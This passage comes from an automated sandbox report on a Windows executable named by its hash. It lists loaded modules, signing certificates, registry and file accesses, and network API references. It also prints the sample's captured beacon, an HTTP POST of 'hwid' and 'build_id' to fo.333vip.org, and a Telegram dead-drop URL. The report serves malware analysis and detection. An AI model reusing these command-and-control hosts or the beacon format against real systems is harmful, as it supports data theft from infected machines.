7ffc23850000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "POWRPROF.DLL" at base 7ffc219f0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "KERNEL32.DLL" at base 7ffc22fe0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "BCRYPT.DLL" at base 7ffc21530000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffc224a0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "WINHTTP.DLL" at base 7ffc1e170000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffc035b0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "RPCRT4.DLL" at base 7ffc231a0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffc21260000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "SSPICLI.DLL" at base 7ffc218d0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffc1a460000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffc1aaf0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffc20db0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffc132f0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffc14140000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffc20e7000031:T9fc,The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: 6B:FC:8D:AF:B8:75:C3:E2:AE:64:76:DF:21:58:05:EB:15:29:8C:BB; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 4A:7A:E5:C0:AB:80:C9:25:E0:D1:7E:CE:DB:5D:C2:B6:45:F2:9B:DF; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=Ember Works Analytics, O=Ember Works Analytics, C=US" (SHA1: CD:C0:D5:9B:38:51:6D:BE:EA:18:E8:A7:83:29:3C:13:30:4F:AD:33; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: A9:9D:5B:79:E9:F1:CD:A5:9C:DA:B6:37:31:69:D5:35:3F:58:74:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 07:89:4D:00:FC:19:4A:17:DB:27:3A:EB:5C:F8:FA:CE:F1:44:23:A4; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted G4 TimeStamping RSA4096 SHA256 2025 CA1, O="DigiCert Inc.", C=US" (SHA1: 51:D9:AB:DA:03:49:73:D8:4F:42:66:AC:A4:82:48:E6:B3:69:C4:39; see report for more information)32:T551,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\DNSCLIENT"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEM\DNSCLIENT"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNS"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\IDCONFIGDB"; Key: ""; Value: "")33:T106a,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "")34:T5f4,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\WINDOWS\SYSTEM32\apphelp.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\windows\temp\VxSSL64.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\FLTLIB.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\WINDOWS\SYSTEM32\FLTLIB.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to touch file "C:\MSVCP140.DLL"35:T855,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\FLTLIB.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\MSVCP140.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\MSVCP140.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\BCRYPT.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\WINHTTP.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\WEBIO.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\WINNLSRES.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\SSPICLI.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" trying to access non-existent file "C:\DPAPI.DLL"36:T4db,file/memory contains long string with (Indicator: "WSARecv"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "WSASend"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp")37:T9a4,file/memory contains long string with (Indicator: "WSARecv"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "WSASend"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007980-00000C2C-1186296189") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00007980-00000C2C-1186677399") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00007980-00000C2C-1186677433") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00007980-00000C2C-1186677461") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00007980-00000C2C-1186677461") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00007980-00000C2C-1186677461") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00007980-00000C2C-1186677498") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00007980-00000C2C-1186677498") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00007980-00000C2C-1186677584") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00007980-00000C2C-1186677609") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp")38:T6d0,Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: fo.333vip.org------b4a9626f7729d42627f7Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-D6FD6A8------b4a9626f7729d42627f7Content-Disposition: form-data; name="build_id"b98dd86b169ec45dd28e99dcad12402a------b4a9626f7729d42627f7Content-Disposition: form-data; name="format"json------b4a9626f7729d42627f7--"; File: "PCAP") Found string "------b4a9626f7729d42627f7Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-D6FD6A8------b4a9626f7729d42627f7Content-Disposition: form-data; name="build_id"b98dd86b169ec45dd28e99dcad12402a------b4a9626f7729d42627f7"; Source: "00000000-00007980-00000CCC-1188410012") Found string "Content-Type: multipart/form-data; boundary=----%s"; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "Content-Disposition: form-data; name="build_id""; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "Content-Disposition: form-data; name="format""; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7"; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp")39:T450,file/memory contains long string with (Indicator: "wsastartup"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: " send "; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: " socket "; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007980-00000C2C-1186296189") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp")3a:T17e6,Heuristic match: "*xml.name" Heuristic match: "*abi.name" Heuristic match: "*[]xml.name" Heuristic match: "telegram.me" Heuristic match: "get /bj00tyr http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheaccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8accept-encoding: gzip, deflateaccept-language: en-us,en;q=0.9user-agent: mozilla/5.0 (windows nt 10.0; " Heuristic match: "fo.333vip.org" Pattern match: "https://telegram.me/bj00tyr" Heuristic match: "internal/abi.name.name" Heuristic match: "runtime.(*bucket).mp" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "internal/reflectlite.rtype.name" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "errors.is" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[interface" Heuristic match: "unicode.is" Heuristic match: "unicode.to" Heuristic match: "reflect.(*rtype).name" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Heuristic match: "os.(*file).name" Heuristic match: "encoding/xml.(*decoder).name" Heuristic match: "type:.eq.encoding/xml.name" Heuristic match: "elegram.me" Pattern match: "http://loclegram.me/" Pattern match: "https://telegram.me/" Pattern match: "https://fo.333vip.org/" Heuristic match: "o.333vip.org" Heuristic match: ".333vip.org" Heuristic match: "ntrust.net" Heuristic match: "333vip.org" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "*.333vip.org" Pattern match: "ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Heuristic match: "*.telegram.me" Pattern match: "crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "https://%s" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: ".cloudapp.ne" Heuristic match: "host: fo.333vip.org" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=ecmiq%2bua4zqfrr0cluxorsv7zlxc4t%2bgje6cucjnbyfwrovk5f258dnzfufeuatmj8pmv6%2bhseqy8tpt5iz7ymfsz0fo0djw2fskdw%2bzb5doau8qvxnry4erqqt1g2si" Pattern match: "https://web.telegram.org"3b:T707,Found URL "http://loclegram.me/telegram.me2\svchost.exerpc-fe8924080d1931913arpc-5460a7549817e3fc59channel" - Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found URL 